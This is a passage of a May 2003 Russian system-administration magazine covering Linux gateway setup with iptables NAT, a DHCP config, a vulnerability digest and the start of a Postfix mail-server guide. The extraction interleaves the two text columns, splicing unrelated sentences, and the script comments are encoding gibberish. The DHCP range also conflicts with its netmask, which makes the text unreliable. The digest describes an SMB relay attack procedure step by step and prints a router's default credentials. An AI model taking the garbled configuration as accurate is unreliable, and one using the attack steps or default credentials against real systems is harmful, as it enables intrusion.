tarceroute в Linux/UNIX-системах или командой tracert в работе: в вопросах добавления новых функций и обнов-
Windows-системах. После чего вы получите на экране спи- лений, потому остановим наш выбор на установке шлюза
сок узлов, через которые прошел пакет до места назна- на персональном компьютере.
чения. Это будет выглядеть примерно так: Для начала нам необходимо выбрать аппаратную осно-
ву для нашего будущего сервера (шлюза). Мощности, кото-
рые предоставляют нам современные компьютеры, на мой
взгляд, избыточны для фильтрации и маршрутизации паке-
тов. Теоретически шлюз можно поставить и на 386-ом про-
цессоре. Но с учетом развития операционных систем и техно-
логий, а также роста скоростей передачи данных в сетях, –
это крайность. Однако Intel Pentium 4 ставить смысла тоже
Выбрав провайдера, и удостоверившись, что он пред- нет: скорее всего, его ресурсы будут простаивать впустую
лагает качественный и приемлемый по скорости доступ в (если, конечно, вы не захотите нагрузить в будущем сервер

№5(6), май 2003 41


администрирование
решением каких-либо дополнительных задач помимо мар- При установке Linux у вас будут запрошены некото-
шрутизации). Мне вполне хватало процессоров Intel Celeron. рые параметры, в том числе и параметры сети. Предпо-
Во-первых, эти процессоры доступны по цене, а во-вторых, ложим, что вы установили их в соответствии с тем, что
их производительности вполне хватает для решения задач вам было выдано провайдером.
роутинга. Например, у меня стоял шлюз на Intel Celeron Например, провайдер нам выдал IP 195.54.223.15 и
1000Mhz Tualatin. Причем этот сервер еще выполнял функ- шлюз 195.54.223.14. Наша локальная сеть представляет
ции firewall, веб-сервера, почтового сервера, фалового сер- собой сеть 192.168.1.0 с маской 255.255.255.0 и IP-адрес
вера и сервера SQL. Все это крутилось на одной такой ма- интерфейса eth1, мы выберем себе 192.168.1.1.
шине и ее загрузка никогда не поднималась выше 50%. В RedHat Linux параметры сетевых интерфейсов вы
Однако при выборе процессора надо учитывать и масш- можете задать в файлах, находящихся в /etc/sysconfig/
табы компании, так как, например, есть разница в почтовых network-scripts/. Для интерфейсов eth0 и eth1 это будут
серверах различных компаний, точнее, в их загрузке. Что файлы ifcfg-eth0 и ifcfg-eth1. Ниже приведем пример фай-
касается материнских плат, то я бы рекомендовал фирму ла (на примере eth1 /ifcfg-eth1/):
ASUS, т.к. по сравнению со специализированными материн-
скими платами под сервера, они гораздо дешевле и досточ- DEVICE=eth1
ONBOOT=yes
но надежны, если сравнивать их с материнскими платами IPADDR=192.168.1.1
такого же уровня (у меня, например, стоял ASUS TUSL 2C). NETMASK=255.255.255.0
NETWORK=192.168.1.0
При выборе жестких дисков, памяти и т. д. все упирает- BROADCAST=192.168.1.255
ся в ваши финансовые возможности. Если есть возмож-
ность поставить DDR или RIMM, то ставьте их, если нет, то, После установки Linux и настройки сети убедимся, что
разумеется, и вариантов нет: DIMM. С жесткими дисками сеть функционирует. Попробуем «попинговать» шлюз со
такая же история. Если есть возможность, то ставьте RAID. стороны Интернета (например, ping 195.54.223.14). И так-
Естественно, что касается обьемов (HDD и RAM), то же проверим связь в локальной сети, сделав ping на лю-
тут тоже политика – «много памяти не бывает». Хотя если бой работающий компьютер в сети. Если вы убедились,
ваш сервер будет всего лишь шлюзом, то не имеет смыс- что сетевое подключение функционирует, в принципе мож-
ла платить большие деньги за RAID и большое количе- но приступить к настройке шлюза. Однако я рекомендую
ство памяти. Так что оставим это на ваш выбор. все же обратить ваше внимание на некоторые компоненты
Пожалуй, сетевые карты – это то, на чем действитель- системы, на версию используемого ядра. Старайтесь все-
но стоит остановиться. Лично я бы рекомендовал исполь- гда использовать последнее стабильное ядро, скачать ис-
зовать сетевые карты фирмы 3COM, т.к. они достаточно ходные коды которого вы можете с www.kernel.org (о том,
надежны и поддерживаются большинством программно- как собирать новое ядро написано множество статей, и это
го обеспечения. Поэтому именно о них и пойдет наша довольно большая тема). Единственное, что следует доба-
дальнейшая речь. Итак, какую операционную систему вить: старайтесь использовать хотя бы ядра версий 2.4.х
выбрать? И опять мнение автора: рекомендую UNIX-по- (в момент написания статьи последней стабильной верси-
добные системы, а именно Linux. На моем опыте и опыте ей ядра является 2.4.20), т.к. с появлением серии 2.4 в яд-
моих коллег, именно UNIX-подобные системы зарекомен- рах стал использоваться фильтр пакетов iptables, который,
довали себя как действительно надежные системы для на мой взгляд, более гибок по сравнению со своим пред-
серверов. Вы же не хотите как-то утром, придя на работу, шественником ipchains. Так же хочу заметить, что именно
увидеть на экране монитора сервера синий экран снятия он нам понадобится для дальнейшей настройки шлюза.
дампа памяти при сбое перед перезагрузкой. А Linux я ре- Но перед тем как приступить к его настройке, хочу еще
комендую использовать потому, что системы на ядре Linux обратить ваше внимание на те сервисы (демоны/Daemons),
сейчас, в связи с их возрастающей популярностью, посто- которые запускаются при старте системы. Поскольку из-
янно обновляются, под них выходит много интересных ре- начально наш сервер планируется исключительно как
шений и, благодаря открытым исходным кодам, множество шлюз, мы отключаем все сетевые сервисы (демоны), ко-
программистов занимаются поддержкой этой системы. торые не будут в дальнейшем нами использоваться. Та-
Вопрос выбора дистрибутива Linux не столь суще- ким образом мы сделаем наш сервер потенциально менее
ственный, т.к. в любом случае вам придется настраивать уязвимым. В RedHat это можно сделать при помощи про-
сервер под свои задачи. По моему мнению, довольно не- граммы, набрав команду setup. Отключив все ненужные нам
плохие дистрибутивы Linux, выпущенные фирмой сервисы, приступим к самому главному, к чему мы так стре-
ASPLinux и RedHat Linux. Таким образом, выбрав аппа- мились, – к настройке шлюза. На самом деле это можно
ратную среду и операционную систему, нам предстоит на- сделать двумя способами, используя Iptables, с помощью:
чать собственно настройку доступа в Интернет.  MASQUERADE (маскарадинг);
Допустим, при заключении договора с провайдером  NAT (SNAT).
вам предоставили доступ в Интернет по ADSL. Установив
ADSL, вам фактически надо протянуть Ethernet-кабель Для того чтобы остановить свой выбор на одном из двух
между одной сетевой картой сервера (далее интерфейс способов, стоит исходить из следующих соображений. В
eth0) и самим модемом (зависит от модели предостав- случае SNAT используется меньше ресурсов. Однако при-
ленного модема). Вторую сетевую карту (далее интерфейс меняя МASQ (маскарадинг), вам не придется хлопотать за
eth1) мы соединили с хабом (HUB) локальной сети. нестабильные интерфейсы, которые могут подниматься или

42
администрирование
падать, например при DialIn/DialUp. Соответственно, если #/sbin/modprobe ipt_MASQUERADE
#/sbin/modprobe ip_conntrack_ftp
вы используете DialUp- или DialIn-соединение на данном #/sbin/modprobe ip_conntrack_irc
сервере, на которое будет распространяться правило шлю- #/sbin/modprobe ip_nat_ftp
#/sbin/modprobe ip_nat_irc
зования, то лучше использовать MASQUERADE. Если же # Ðàçðåøàåì ôîðâàðäèíã ïàêåòîâ ÷åðåç øëþç.
все интефейсы у вас всегда активны (постоянные сетевые echo "1" > /proc/sys/net/ipv4/ip_forward
iptables –P FORWARD ACCEPT
соединения), то используйте SNAT и сэкономите немного # Ïðîïèñûâàåì ïðàâèëî NAT.
ресурсов (как настраивать оба случая будет описано да- iptables -t nat -A POSTROUTING -o eth0 -j SNAT ↵
--to-source 195.54.223.15
лее). Если вам сложно сделать выбор, то используйте
MASQUERADE и ни о чем не беспокойтесь. Теперь необходимо прописать этот файл в автозгруз-
Рассмотрим примеры скриптов для первого и второго ке системы. Вы можете вставить строки в /erc/rc.d/rc.local,
случая. В случае использования MASQUERADE скрипт либо прописать файл скрипта в /etc/inittab, добавив в него,
будет выглядеть примерно так: например, строку:

#! /bin/bash net:345:wait:/etc/rc.d/rc.gateway
# Óêàçûâàåì ïðàâèëà ðîóòèíãà: (øëþç ïî óìîë÷àíèþ)
route add -net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14
# Î÷èùàåì òåêóùåå ñîäåðæèìîå öåïî÷åê Iptables где /etc/rc.d/rc.gateway – путь и имя файла скрипта.
/usr/local/sbin/iptables -F
/usr/local/sbin/iptables -t nat –F Также необходимо сделать файл исполняемым. Для
# Ïîäêëþ÷àåì íåîáõîäèìûå ìîäóëè (ñì. ïðèìå÷àíèå ïîñëå ñêðèïòà). этого можно установить на него, к примеру, следующие
#/sbin/modprobe iptable_filter
#/sbin/modprobe iptable_mangle атрибуты командой:
#/sbin/modprobe iptable_nat
#/sbin/modprobe ipt_LOG chmod 755 /etc/rc.d/rc.gateway
#/sbin/modprobe ipt_limit
#/sbin/modprobe ipt_state
#/sbin/modprobe ipt_owner
#/sbin/modprobe ipt_REJECT Перезагрузите машину (команда reboot). Если вы все про-
#/sbin/modprobe ipt_MASQUERADE писали правильно, то ваш сервер готов к работе. После пе-
#/sbin/modprobe ip_conntrack_ftp
#/sbin/modprobe ip_conntrack_irc резагрузки сервер должен «маскарадить» пакеты из локаль-
#/sbin/modprobe ip_nat_ftp ной сети в Интернет, но не наоборот. Т.е. ваша локальная
#/sbin/modprobe ip_nat_irc
# Ðàçðåøàåì ôîðâàðäèíã ïàêåòîâ ÷åðåç øëþç. сеть остается недоступной для соединений со стороны Ин-
echo "1" > /proc/sys/net/ipv4/ip_forward тернета. Таким образом мы защитили компьютеры локаль-
iptables –P FORWARD ACCEPT
# Ïðîïèñûâàåì ïðàâèëî NAT. ной сети от нападений извне (точнее, скрыли их). Но это не
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE означает, что мы защитили сам шлюз. Конечно, если отклю-
чить на нем все сетевые сервисы, можно считать его доста-
Хочется отметить, что команда route не является обя- точно защищенным, однако для полноценной защиты шлю-
зательной в случае, если вы уже настроили подключение за вам необходимо настроить все тот же firewall на сервере,
к Интернету и данное правило присутствует в таблице ро- но это тема отдельной статьи. Кроме того, правильно на-
утинга. Также вы можете прописать правила роутинга в строенный PROXY-сервер поможет вам сэкономить трафик.
RedHat Linux в файле /etc/sysconfig/static-routes (по умол- Наконец, расскажем немного о настройках конечных
чанию такого файла может и не быть). пользователей локальной сети. Можно, конечно, прописать
Пример формата файла static-routes: каждому пользователю уникальный IP-адрес и установить
остальные настройки. Но такой вариант является приемле-
any net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14 мым, когда их пять или десять. Но когда в вашем ведении
находится сто и более машин, вы столкнетесь с необходи-
Что касается строчек типа /sbin/modprobe… и т. д., то мостью автоматизировать процесс выдачи IP-адресов. И
они необходимы в том случае, если вам понадобятся для речь сейчас пойдет о DHCP. (См. также статью Д. Колисни-
работы некоторые модули. В данном скрипте я закоммен- ченко «Конфигурирование DHCP», с.12-14, – прим. ред.)
тировал эти строки. Вы можете раскомментировать их, Если при установке вашей системы вы не поставили
исходя из своих нужд. DHCP-сервис, именуемый как dhcpd, то в случае, напри-
Теперь приведем пример аналогичного скрипта, если мер, с RedHat вы можете доставить его с одного из ком-
вы решили использовать SNAT вместо MASQUERADE: пакт-дисков дистрибутива или скачать пакет с сайта (на-
пример, в случае с Debian Linux). Настройка DHCP-серве-
#! /bin/bash ра на самом деле проста и во многом может сократить
# Óêàçûâàåì ïðàâèëà ðîóòèíãà: (øëþç ïî óìîë÷àíèþ)
route add -net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14 трудоемкость работ по настройке в случае, если бы вы
# Î÷èùàåì òåêóùåå ñîäåðæèìîå öåïî÷åê Iptables стали настраивать 20 машин по отдельности.
/usr/local/sbin/iptables -F
/usr/local/sbin/iptables -t nat –F Пример конфигурационного файла к DHCP приведен
# Ïîäêëþ÷àåì íåîáõîäèìûå ìîäóëè (ñì. ïðèìå÷àíèå ïîñëå ñêðèïòà). ниже (/etc/dhcpd.conf):
#/sbin/modprobe iptable_filter
#/sbin/modprobe iptable_mangle
#/sbin/modprobe iptable_nat option subnet-mask 255.255.255.0;
#/sbin/modprobe ipt_LOG option broadcast-address 192.168.1.255;
#/sbin/modprobe ipt_limit option domain-name "mynet";
#/sbin/modprobe ipt_state option domain-name-servers 195.34.32.10;
#/sbin/modprobe ipt_owner option netbios-node-type 8;
#/sbin/modprobe ipt_REJECT default-lease-time 600;

№5(6), май 2003 43


администрирование
max-lease-time 1200; нашего читателя, что в случае установки нового DHCP-сер-
subnet 192.168.1.0 netmask 255.255.255.0 { вера в сети при применении в сети свичей (Switch) возмож-
range 192.168.1.2 192.168.100.254;
ны проблемы с получением аренды IP-пользователями. На-
host vasya { пример, в моей практике был случай, когда при переходе со
hardware ethernet 00:A0:C9:16:2F:4E;
fixed-address 192.168.1.2; старого DHCP-сервера на новый мы столкнулись с пробле-
} мой, что один из сегментов сети, «сидящий» на отдельном
host petya { свиче, просто перестал получать аренду IP-адресов от DHCP-
hardware ethernet 00:50:BF:5C:2E:09; сервера. При этом все остальные пользователи сети (вне
fixed-address 192.168.1.3;
} этого сегмента) абсолютно нормально получили у сервера
host kolya { аренду и продолжали прекрасно работать. Все, что необхо-
hardware ethernet 00:40:F4:70:4F:D2; димо было сделать – это переинициализировать свичи, т.е.
fixed-address 192.168.1.4; выключить на некоторое время и включить снова.
}
Естественно, что по мере разрастания пользователей
host marina { сети, да и вообще при подключении компании к Интерне-
hardware ethernet 00:80:C7:69:5C:28;
fixed-address 192.168.1.5; ту, у вас возникнет множество других забот. Например, вам
} может понадобиться подсчитывать трафик и разграничи-
вать доступ в сеть между различными пользователями или
} компьютерами, или же поставить ограничение на время
В данном примере конфигурационного файла мы ви- пребывания в сети. Для этих целей вам понадобится уста-
дим в начале объявление параметров нашей сети, указа- навливать так называемый прокси-сервер SQUID. Или же
ние времени аренды и DNS-адресов (у вас, соответствен- вы захотите иметь свой собственный DNS-сервер, чтобы
но, должен быть указан DNS вашего провайдера). Также не использовать DNS-сервера провайдера. Или возникнет
мы указали диапазон выдачи IP-аресов (c 192.168.1.2 по желание настроить на сервере свой почтовик или веб-сер-
192.168.100.254), причем далее идет описание четырех ма- вер. Обо всем этом я постараюсь рассказать в следующих
шин. Эти машины будут постоянно получать в аренду от статьях с подробным описанием, как это все настроить,
DHCP-сервера один и тот же IP (соответствие присваемого приложением рабочих конфигурационных файлов или ссы-
IP MAC-адресу сетевого адаптера). Остальные машины по- лок, откуда все это можно будет бесплатно скачать (пла-
лучат свободные IP-адреса из указанного выше диапазона нируется выкладывать конфигурационные файлы в Интер-
на усмотрение самого DHCP-сервера. Как видно, в его на- нет). При возникновении вопросов пишите мне на:
стройке нет ничего сложного, однако, хочется предупредить alexey_fyodorov@mail.ru, и я постараюсь вам помочь.

44
bugtraq
Недостаток в SMB-протоколе позволяет Как сообщается, в конфигурации по умолчанию FTP-
получить полный доступ к общим сервер маршрутизатора доступен удаленным пользова-
ресурсам в Windows-системах телем на WAN-интерфейсе. Если пароль по умолчанию
Недостаток обнаружен в SMB-протоколе для Windows-си- (user:admin, password:password) не был изменен, то уда-
стем. Злонамеренный SMB-сервер может подтвердить под- ленный пользователь может получить доступ к файлам
линность на системе клиента и получить получить полный на маршрутизаторе, включая «config.reg» файл, который
контроль над разделенными объектами, типа C$ и т. п. содержит имя пользователя и пароль к устройству.
Windows по умолчанию посылает NT/LM-Response Уязвимость обнаружена в NetComm NB1300 Router.
зарегистрированных пользователей к SMB-серверу, пе-
ред тем, как спросить любое имя пользователя/пароль. DoS против Ximian Evolution
Злонамеренный SMB-сервер может использовать эту Уязвимость обнаружена в GtkHTML-библиотеке, постав-
информацию, чтобы подтвердить подлинность на ма- ляемой с Ximian Evolution. Удаленный пользователь мо-
шине клиента. жет аварийно завершить работу почтового клиента.
Следующая процедура иллюстрирует способ, который Red Hat сообщил, что GtkHTML-компонент содержит
может использовать нападающий, чтобы получить доступ недостаток в обработке HTML-сообщений. Удаленный
к любому клиенту. Хотя в этой процедуре требуется, что- пользователь может послать специально сформирован-
бы клиент запросил сетевой ресурс, можно заставить кли- ное сообщение, которое приведет к аварийному завер-
ента установить это подключение. Например, послать шению работы Evolution клиента при попытке загрузить
HTML e-mail сообщение, которое содержит атрибут SRC, такое сообщение.
ссылающийся на сетевой ресурс. Вот эта процедура: Уязвимость обнаружена в Ximian Evolution 1.2.4.
 Клиент пытается подключиться к серверу. Он посыла-
ет запрос к SMB-серверу атакующего. Переполнение буфера в regedit.exe
 SMB-сервер атакующего получает этот запрос, но не Уязвимость обнаружена в утилите «regedit.exe» для Microsoft
посылает произведенный вызов клиенту, вместо это- Windows. Локальный пользователь может заставить друго-
го он посылает запрос для атакующего клиента. го пользователя выполнить произвольные команды.
 Атакующий SMB-клиент посылает запрос к SMB-сер- Как сообщается, локальный пользователь может со-
веру жертвы. здать определенный ключ в реестре, который заставит
 SMB-сервер жертвы посылает вызов к атакующему другого целевого пользователя выполнить произвольные
SMB-клиенту. команды на системе, когда тот попытается просмотреть
 Атакующий SMB-клиент посылает этот вызов к атаку- злонамеренный ключ.
ющему SMB-серверу, и он посылает обратно к клиен- Переполнение буфера обнаружено в функции
ту жертвы. RegEnumValueW() в regedit.exe.
 Клиент жертвы получает вызов. Он шифрует пароль,
используя полученный вызов и посылает его обратно Раскрытие внутреннего имени сервера
атакующему серверу. в BEA’s WebLogic server
 Атакующий сервер посылает этот ответ атакующему Уязвимость раскрытия информации обнаружена в BEA’s
клиенту. WebLogic server. Удаленный пользователь может опреде-
 Атакующий клиент посылает полученный ответ назад лить внутреннее имя хоста целевого сервера.
серверу жертвы. Как сообщается, удаленный пользователь может по-
 Сервер жертвы получает ответ. слать следующий URL к серверу, чтобы определить внут-
 Успешное установление подлинности происходит на реннее имя сервера (в Windows-системах – NetBIOS-имя):
жертве. В этот момент клиент атакующего получает
полный контроль над машиной жертвы. GET . HTTP/1.0\r\n\r\n

Осуществление этой процедуры нетривиально и тре- Доступ к данным других сайтов


бует тонкого знания работы NTLM- и SMB-протоколов. Как в Mozilla Browser
сообщается, существует рабочий эксплоит, который бу- Уязвимость обнаружена в Mozilla browser. Удаленный пользо-
дет опубликован после выхода соответствующей запла- ватель может сконструировать HTML, который может полу-
ты от Microsoft (некоторые считают, что об этой проблеме чить информацию с других зон безопасности.
Microsoft знает уже 3 года и не в состоянии решить ее!). Сообщается, что, когда браузер загружает новый до-
Уязвимость обнаружена в Windows XP, Windows 2000 кумент, есть некоторый промежуток времени, в течение
server/professional, Windows .NET server, Windows 9x/Me. которого контекст безопасности браузера изменится на
новый документ, но ссылки в старом еще будут активны
Раскрытие паролей (кликабельны). В результате удаленный пользователь
в NetComm NB1300 ADSL Router может создать HTML, который изменит страницу (и кон-
Уязвимость обнаружена в NetComm NB1300 ADSL Router. текст безопасности) к произвольному сайту и активизи-
В конфигурации по умолчанию удаленный пользователь рует произвольный Javascript в контексте безопасности
может подключится к FTP-серверу маршрутизатора и по- произвольного сайта.
лучить пароли к устройству. Уязвимость обнаружена в Mozilla Browser 1.4a.

№5(6), май 2003 45


администрирование

46
администрирование
Недавно один из знакомых администраторов попросил
помочь ему в создании почтовой системы для фирмы, в

ПОЧТОВАЯ
которой он работает. Подумав о сакраментальном сло-
ве RTFM и вспомнив, что недавних переселенцев с
Windows надо поощрять, я все же решил поискать для
него хорошую документацию, подробно описывающую
то, что ему предстоит выполнить. Побродив некоторое
время в сети, я с удивлением обнаружил отсутствие того,

СИСТЕМА за чем пришел. Не то чтобы документации не было со-


всем. Скорее, ее было даже слишком много. Очень час-
то мне на глаза попадались продвинутые статьи, описы-
вающие настройку магистральных систем, способных
работать в качестве почтовых серверов крупных интер-
нет-провайдеров. Встречались тексты, объясняющие
ДЛЯ СРЕДНЕГО способы взаимодействия почтовой системы с SQL-,
RADIUS-, LDAP-серверами. Для нашего случая все эти
ухищрения были чрезмерны. К сожалению, подробной
И МАЛОГО ОФИСА инструкции по настройке почтовой системы для малого
и среднего офиса так и не было найдено.
Свою систему мы будем строить на основе FreeBSD 4.5.
В тоже время практически все описанное далее после
мелких исправлений будет работать во многих других
Unix-подобных системах. Главное, чтобы для целевой
системы удалось найти версии программ postfix,
popa3d, drweb, pflogsumm. Кратко обсудим, зачем ну-
жен каждый из этих компонентов. Postfix будет обеспе-
чивать принятие входящих и отправку исходящих со-
общений по протоколу smtp. Обычно программы тако-
го типа называют MTA – Mail Transfer Agent. Popa3d по-
зволит пользователям читать полученную почту. С по-
мощью drweb мы будем проверять на вирусы все про-
ходящие через нас письма. Для того чтобы знать, на-
сколько хорошо функционирует построенная нами сис-
тема, нужно собирать статистику ее работы. К тому же
при случае начальству можно показать, что не зря ешь
свой хлеб с маслом. Выполнять это полезное действо
мы будем с помошью pflogsumm.
Стоит обратить внимание, что машина, на которой
все это устанавливается, имеет два сетевых интерфей-
са 192.168.10.252 и 80.80.120.163. Первый направлен
во внутреннюю подсеть. К сожалению, авторизации на
основе пароля и имени пользователя для протокола
smtp у нас не будет. Отправка писем будет разрешена
всем пользователям сети 192.168.10.0. С другой сто-
роны, для малых и средних сетей в большинстве слу-
чаев этого не потребуется. Соответственно, через вто-
рой интерфейс мы будем общаться с внешним миром.
Также стоит помнить, что для авторизации по pop3 мы
будем использовать имена и пароли пользователей,
хранящиеся в файле /etc/passwd. А это значит, что при
необходимости создания новых почтовых аккаунтов мы
должны добавлять новых пользователей системы с по-
мощью программы useradd.
В качестве кандидатов на место smtp-демона рас-
сматривались exim, postfix, qmail, sendmail. Давайте
кратко рассмотрим достоинства и недостатки каждого
из них. Стоит оговориться, что все нижеизложенное
АНДРЕЙ БЕШКОВ является всего лишь моим личным мнением. Как гово-
рится, вольному – воля, поэтому читатель может на свой

№5(6), май 2003 47


администрирование
страх и риск использовать в качестве MTA все что ему ля увеличивает запас прочности и безопасности демо-
заблагорассудится. на smtp. В зависимости от вашей операционной систе-
Sendmail является самым старым MTA из нашего мы действия по созданию пользователя можно будет
списка. Несмотря на впечатляющий и мощный функци- выполнить с помощью команды adduser или useradd.
онал, его пришлось отбраковать сразу же. В первую оче- После успешного создания пользователя и групп при-
редь, произошло это из-за того, что программа пред- нимаемся за установку postfix. Во время установки все-
ставляет из себя один монолитный блок. По этой же го программного обеспечения нами будет создан еще
причине за ней тянется огромный шлейф уязвимостей один служебный пользователь. Нужно убедиться, что
и проблем с быстродействием. Вторым недостатком никто не сможет войти в систему, пользуясь всеми вы-
является процедура конфигурирования. Перспективы шеупомянутыми аккаунтами. Для этого в качестве ра-
программы, для создания простейшей конфигурации ко- бочей оболочки в файле /etc/passwd определяем для
торой необходимо некоторое время повозиться с ком- них /sbin/nologin.
пилятором m4, по моему мнению, выглядят весьма гру- Берем postfix-2.0.0.2.tar.gz с официального сайта про-
стно. Хотя старый монстр все еще не сдается по при- екта www.postfix.org и как обычно распаковываем и уста-
чине многочисленности своих приверженцев. Заключи- навливаем:
тельным гвоздем в гроб Sendmail послужило то, что ис-
пользование его для офиса среднего размера похоже # tar zxvf postfix-2.0.0.2.tar.gz
# cd postfix-2.0.0.2
на погоню за мухой с молотом в руках. # make tidy
В то же время самый безопасный из претендентов # make
# make install
qmail мне не понравился слишком жесткой иерархией за-
пуска служебных программ. Для выполнения каждого Теперь нужно дать ответы на несколько вопросов, за-
класса своих задач он порождает дочерние процессы спе- даваемых во время инсталляции. В большинстве случаев
циальных программ. После выполнения задачи процесс нужно просто нажать ENTER, подтверждая использова-
дочерней программы уничтожается. С одной стороны, это ние настроек, предлагаемых по умолчанию.
обеспечивает безопасность и запас прочности програм-
мы, но с другой – создает некоторые накладные расходы install_root: [/]
# Êîðíåâîé êàòàëîã ôàéëîâîé ñèñòåìû, èñïîëüçóåìîé
на постоянное создание дочерних процессов и межпро- # äëÿ óñòàíîâêè
цессорное взаимодействие. К тому же лично мне разви-
tempdir: [/tmp/postfix-2.0.0.2]
тие проекта qmail кажется слишком медленным. # Ñþäà áóäóò ïàäàòü âðåìåííûå ôàéëû, ñîçäàâàåìûå
Приступив к осмотру Exim, с огорчением замечаю, что # â ïðîöåññå èíñòàëëÿöèè
процесс установки, на мой взгляд, все же довольно не- config_directory: [/etc/postfix]
тривиален и не особенно подходит новичкам мира Unix. # Òóò áóäóò íàõîäèòüñÿ ôàéëû íàñòðîåê postfix
Для включения тех или иных возможностей приходится daemon_directory: [/usr/libexec/postfix]
редактировать Makеfile. Да и сам процесс последующей # À çäåñü áóäåò ëåæàòü âûïîëíÿåìûé ôàéë äåìîíà postfix
настройки показался мне слегка странным. Если не об- command_directory: [/usr/sbin]
ращать внимания на описанные только что недостатки, # Òóò áóäóò ðàñïîëàãàòüñÿ âûïîëíÿåìûå ôàéëû àäìèíèñòðàòèâíûõ
# êîìàíä postfix
то мощный функциональный потенциал, заложенный в эту
программу, вас очень обрадует. queue_directory: [/var/spool/postfix]
# Äèðåêòîðèÿ, â êîòîðîé áóäåò íàõîäèòüñÿ î÷åðåäü ïèñåì,
Postfix, являющийся ближайшим конкурентом qmail, # îáðàáàòûâàåìûõ postfix
делает упор на быстродействие и безопасность. Принци-
sendmail_path: [/usr/sbin/sendmail]
пы деления выполняемой задачи очень похожи на те, что # Ïóòü ê êîìàíäå, èñïîëüçóåìîé âçàìåí ñòàíäàðòíîãî sendmail
применяются в qmail, но дизайн системы совершенно дру-
newaliases_path: [/usr/bin/newaliases]
гой. Основой идеологии postfix является наличие незави- # Ïóòü ê èñïîëíÿåìîìó ôàéëó, èñïîëüçóåìîìó äëÿ ïåðåñòðîéêè
симых резидентных модулей. Ни один из модулей не яв- # ïî÷òîâûõ ïñåâäîíèìîâ
ляется дочерним процессом другого. В то же время за mailq_path: [/usr/bin/mailq]
счет постоянного присутствия модулей в памяти каждый # Ïóòü ê êîìàíäå, îòîáðàæàþùåé ñîñòîÿíèå ïî÷òîâîé î÷åðåäè
mail_owner: [postfix]
из них может независимо пользоваться услугами других. # Èìÿ ïîëüçîâàòåëÿ, ñ ïðàâàìè êîòîðîãî ðàáîòàåò ïî÷òà
Проект postfix на данный момент является самым дина-
setgid_group: [postdrop]
мично развивающимся из всех перечисленных. # Ãðóïïà, îò èìåíè êîòîðîé áóäóò ðàáîòàòü êîìàíäû îáðàáîòêè
Покончив с теорией, приступим к осуществлению на- # ïî÷òîâîé î÷åðåäè
ших планов. Для работы с исходными текстами всего ска- manpage_directory: [/usr/local/man]
чанного программного обеспечения я буду использовать # Â ýòîé äèðåêòîðèè íàõîäèòñÿ áàçà äîêóìåíòàöèè íà âñå
# óñòàíàâëèâàåìûå ïðîãðàììû
директорию /tmp. Читатель может выбрать любую другую.
Приступим к установке postfix. sample_directory: [/etc/postfix]
# Äèðåêòîðèÿ, â êîòîðóþ íóæíî ïîëîæèòü ïðèìåðû
Нужно создать группы postfix и postdrop. А затем в # êîíôèãóðàöèîííûõ ôàéëîâ postfix. Ñìåøèâàòü ïðèìåðû
группу postfix добавить пользователя по имени postfix. # ñ ðåàëüíûìè ôàéëàìè êîíôèãóðàöèè îõîòû íåò.
# Ïîýòîìó ââîäèì èìÿ äèðåêòîðèè /etc/postfix/sample/
Почтовая система будет работать с правами пользова-
теля postfix, а группа postdrop будет владеть очередью readme_directory: [no]
# Äèðåêòîðèÿ, êóäà íóæíî ïîëîæèòü ôàéëû äîêóìåíòàöèè
сообщений. Наличие двух групп и одного пользовате- # Âûáèðàåì èìÿ äèðåêòîðèè /etc/postfix/readme/

48
администрирование
По завершению установки приступим к настройке. Должно получиться что-то похожее на эти строчки:
Конфигурационные файлы postfix находятся в дирек-
тории /etc/postfix/. Все настройки, которые нам нужно Jan 16 14:35:33 postfix/postfix-script: ↵
starting the Postfix mail system
поменять, находятся в файле /etc/postfix/main.cf. Боль- Jan 16 14:35:33 mail.test.ru postfix/master[7190]: ↵
шинство опций можно оставить со значениями по умол- daemon started -- version 2.0.0.2
чанию. Я опишу только те из них, которые нужно изме-
нять. Итак, приступим: Пришло время проверить, как работает отправка по-
чты. С помощью telnet присоединяемся к локальной сис-
myhostname = mail.test.ru теме на 25-й порт.
# Èìÿ íàøåãî õîñòà. Ëó÷øå âñåãî óñòàíàâëèâàòü â ñîîòâåòñòâèè
# ñ âûâîäîì, ïîëó÷àåìûì ïîñëå âûïîëíåíèÿ êîìàíäû hostname.
# telnet localhost 25
mydomain = test.ru Trying 127.0.0.1...
# Èìÿ íàøåãî äîìåíà. Ðåêîìåíäóåòñÿ îïèñàòü ÿâíî. Åñëè Connected to localhost.test.ru.
# ïåðåìåííàÿ íå îïðåäåëåíà, òî postfix áóäåò èñïîëüçîâàòü Escape character is '^]'.
# çíà÷åíèå myhostname ìèíóñ ïåðâûé êîìïîíåíò. 220 mail.test.ru ESMTP Postfix
inet_interfaces = 192.168.10.252, 80.80.120.163 # Çàòåì ñ ïîìîùüþ êîìàíäû mail from: óêàçûâàåì ñåðâåðó,
# Àäðåñà èíòåðôåéñîâ, íà êîòîðûõ íóæíî æäàòü smtp-ñîåäèíåíèé. # îò êîãî áóäåò ïèñüìî.
# Äëÿ óïðîùåíèÿ êîíôèãóðàöèè ìîæíî èñïîëüçîâàòü ñëîâî all mail from:<tigrisha@test.ru>
# äëÿ óñòàíîâêè ïðîñëóøèâàíèÿ âñåõ èíòåðôåéñîâ. Òàêæå ìîæíî 250 Ok
# èñïîëüçîâàòü ïåðåìåííûå localhost è $myhostname. Òîãäà
# áóäóò çàäåéñòâîâàíû èíòåðôåéñû 127.0.0.1 è àäðåñ, # Êîìàíäîé rcpt to: çàäàåì àäðåñ ïîëó÷àòåëÿ.
# ñîîòâåòñòâóþùèé èìåíè, îïðåäåëåííîìó â ïåðåìåííîé $myhostname. rcpt to: <tigrisha@test.ru>
250 Ok
mydestination = $myhostname, $mydomain
# Ñïèñîê äîìåíîâ, êîòîðûìè ñåáÿ ñ÷èòàåò ýòà ìàøèíà. Òî åñòü # È íàêîíåö, ñ ïîìîùüþ data íà÷èíàåì ââîä òåêñòà ïèñüìà.
# ïî÷òà, ïðèõîäÿùàÿ äëÿ ïîëüçîâàòåëåé îïèñàííûõ äîìåíîâ, data
# íå îòïðàâëÿåòñÿ êóäà-ëèáî, à ðàçáèðàåòñÿ ëîêàëüíî. 354 End data with <CR><LF>.<CR><LF>
testing mail for tigrisha
mynetworks = 192.168.10.0/24, 127.0.0.0/8 .
# Îïðåäåëÿåì ñïèñîê äîâåðåííûõ ñåòåé. Êëèåíòû ñ àäðåñàìè,
